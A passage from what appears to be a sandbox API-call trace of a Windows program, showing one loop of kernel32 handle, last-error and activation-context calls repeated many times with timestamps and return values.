| out: lpdwFlags=0x0) returned 0 [0069.847] GetLastError () returned 0x6 [0069.847] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.847] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.847] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.847] GetLastError () returned 0x6 [0069.847] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.847] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.847] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.847] GetLastError () returned 0x6 [0069.847] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.847] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.847] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.847] GetLastError () returned 0x6 [0069.847] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.847] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.847] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.847] GetLastError () returned 0x6 [0069.847] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.847] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.847] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.848] GetLastError () returned 0x6 [0069.848] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.848] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.848] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.848] GetLastError () returned 0x6 [0069.848] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.848] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.848] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.848] GetLastError () returned 0x6 [0069.848] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.848] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.848] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.848] GetLastError () returned 0x6 [0069.848] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.848] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.848] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.848] GetLastError () returned 0x6 [0069.848] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.848] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.848] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.848] GetLastError () returned 0x6 [0069.848] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.848] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.848] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.848] GetLastError () returned 0x6 [0069.848] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.848] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.848] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.848] GetLastError () returned 0x6 [0069.848] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.848] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.848] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.848] GetLastError () returned 0x6 [0069.848] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.848] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.848] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.848] GetLastError () returned 0x6 [0069.848] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.849] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.849] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.849] GetLastError () returned 0x6 [0069.849] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.849] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.849] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.849] GetLastError () returned 0x6 [0069.849] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.849] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.849] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.849] GetLastError () returned 0x6 [0069.849] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.849] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.849] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.849] GetLastError () returned 0x6 [0069.849] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.849] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.849] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.849] GetLastError () returned 0x6 [0069.849] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.849] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.849] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.849] GetLastError () returned 0x6 [0069.849] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.849] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.849] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.849] GetLastError () returned 0x6 [0069.849] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.849] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.849] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.849] GetLastError () returned 0x6 [0069.849] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.849] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.849] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.849] GetLastError () returned 0x6 [0069.849] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.850] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.850] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.850] GetLastError () returned 0x6 [0069.850] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.850] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.850] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.850] GetLastError () returned 0x6 [0069.850] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.850] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.850] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.850] GetLastError () returned 0x6 [0069.850] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.850] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.850] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.850] GetLastError () returned 0x6 [0069.850] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.850] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.850] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.850] GetLastError () returned 0x6 [0069.850] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.850] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.850] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.850] GetLastError () returned 0x6 [0069.850] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.850] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.850] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.850] GetLastError () returned 0x6 [0069.850] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.850] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.850] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.850] GetLastError () returned 0x6 [0069.850] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.850] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.850] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.850] GetLastError () returned 0x6 [0069.850] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.850] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.851] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.851] GetLastError () returned 0x6 [0069.851] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.851] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.851] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.851] GetLastError () returned 0x6 [0069.851] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.851] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.851] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.851] GetLastError () returned 0x6 [0069.851] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.851] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.851] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.851] GetLastError () returned 0x6 [0069.851] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.851] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.851] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.851] GetLastError () returned 0x6 [0069.851] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.851] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.851] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.851] GetLastError () returned 0x6 [0069.851] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.851] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.851] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.851] GetLastError () returned 0x6 [0069.851] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.851] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.851] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.851] GetLastError () returned 0x6 [0069.851] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.851] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.851] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.851] GetLastError () returned 0x6 [0069.851] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.851] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.851] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.852] GetLastError () returned 0x6 [0069.852] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.852] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.852] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.852] GetLastError () returned 0x6 [0069.852] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.852] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.852] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.852] GetLastError () returned 0x6 [0069.852] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.852] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.852] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.852] GetLastError () returned 0x6 [0069.852] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.852] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.852] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.852] GetLastError () returned 0x6 [0069.852] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.852] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.852] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.852] GetLastError () returned 0x6 [0069.852] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.852] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.852] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.852] GetLastError () returned 0x6 [0069.852] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.852] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.852] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.852] GetLastError () returned 0x6 [0069.852] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.852] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.852] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.852] GetLastError () returned 0x6 [0069.852] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.852] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.852] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.852] GetLastError () returned 0x6 [0069.852] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.853] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.853] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.853] GetLastError () returned 0x6 [0069.853] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.853] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.853] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.853] GetLastError () returned 0x6 [0069.853] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.853] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.853] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.853] GetLastError () returned 0x6 [0069.853] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.853] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.853] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.853] GetLastError () returned 0x6 [0069.853] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.853] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.853] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.853] GetLastError () returned 0x6 [0069.853] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.853] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.853] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.853] GetLastError () returned 0x6 [0069.853] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.853] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.853] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.853] GetLastError () returned 0x6 [0069.853] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.853] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.853] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.853] GetLastError () returned 0x6 [0069.853] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.853] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.853] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.853] GetLastError () returned 0x6 [0069.853] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.853] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.853] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.854] GetLastError () returned 0x6 [0069.854] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.854] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.854] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.854] GetLastError () returned 0x6 [0069.854] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.854] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.854] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.854] GetLastError () returned 0x6 [0069.854] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.854] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.854] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.854] GetLastError () returned 0x6 [0069.854] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.854] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.854] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.854] GetLastError () returned 0x6 [0069.854] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.854] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.854] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.854] GetLastError () returned 0x6 [0069.854] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.854] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.854] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.854] GetLastError () returned 0x6 [0069.854] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.854] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.854] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.854] GetLastError () returned 0x6 [0069.854] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.854] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.854] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.854] GetLastError () returned 0x6 [0069.854] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.854] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.854] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.854] GetLastError () returned 0x6 [0069.854] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.855] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.855] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.855] GetLastError () returned 0x6 [0069.855] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.855] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.855] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.855] GetLastError () returned 0x6 [0069.855] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.855] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.855] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.855] GetLastError () returned 0x6 [0069.855] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.855] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.855] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.855] GetLastError () returned 0x6 [0069.855] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.855] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.855] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.855] GetLastError () returned 0x6 [0069.855] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.855] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.855] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.855] GetLastError () returned 0x6 [0069.855] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.855] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.855] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.855] GetLastError () returned 0x6 [0069.855] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.855] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.855] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.855] GetLastError () returned 0x6 [0069.855] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.855] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.855] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.855] GetLastError () returned 0x6 [0069.855] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.855] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.856] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.856] GetLastError () returned 0x6 [0069.856] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.856] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.856] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.856] GetLastError () returned 0x6 [0069.856] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.856] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.856] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.856] GetLastError () returned 0x6 [0069.856] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.856] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.856] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.856] GetLastError () returned 0x6 [0069.856] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.856] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.856] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.856] GetLastError () returned 0x6 [0069.856] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.856] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.856] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.856] GetLastError () returned 0x6 [0069.856] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.856] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.856] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.856] GetLastError () returned 0x6 [0069.856] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.856] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.856] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.856] GetLastError () returned 0x6 [0069.856] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.856] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.856] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.856] GetLastError () returned 0x6 [0069.856] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.856] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.856] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.856] GetLastError () returned 0x6 [0069.856] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.857] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.857] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.857] GetLastError () returned 0x6 [0069.857] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.857] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.857] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.857] GetLastError () returned 0x6 [0069.857] GetCurrentActCtx (in: lphActCtx=0x0 | out: 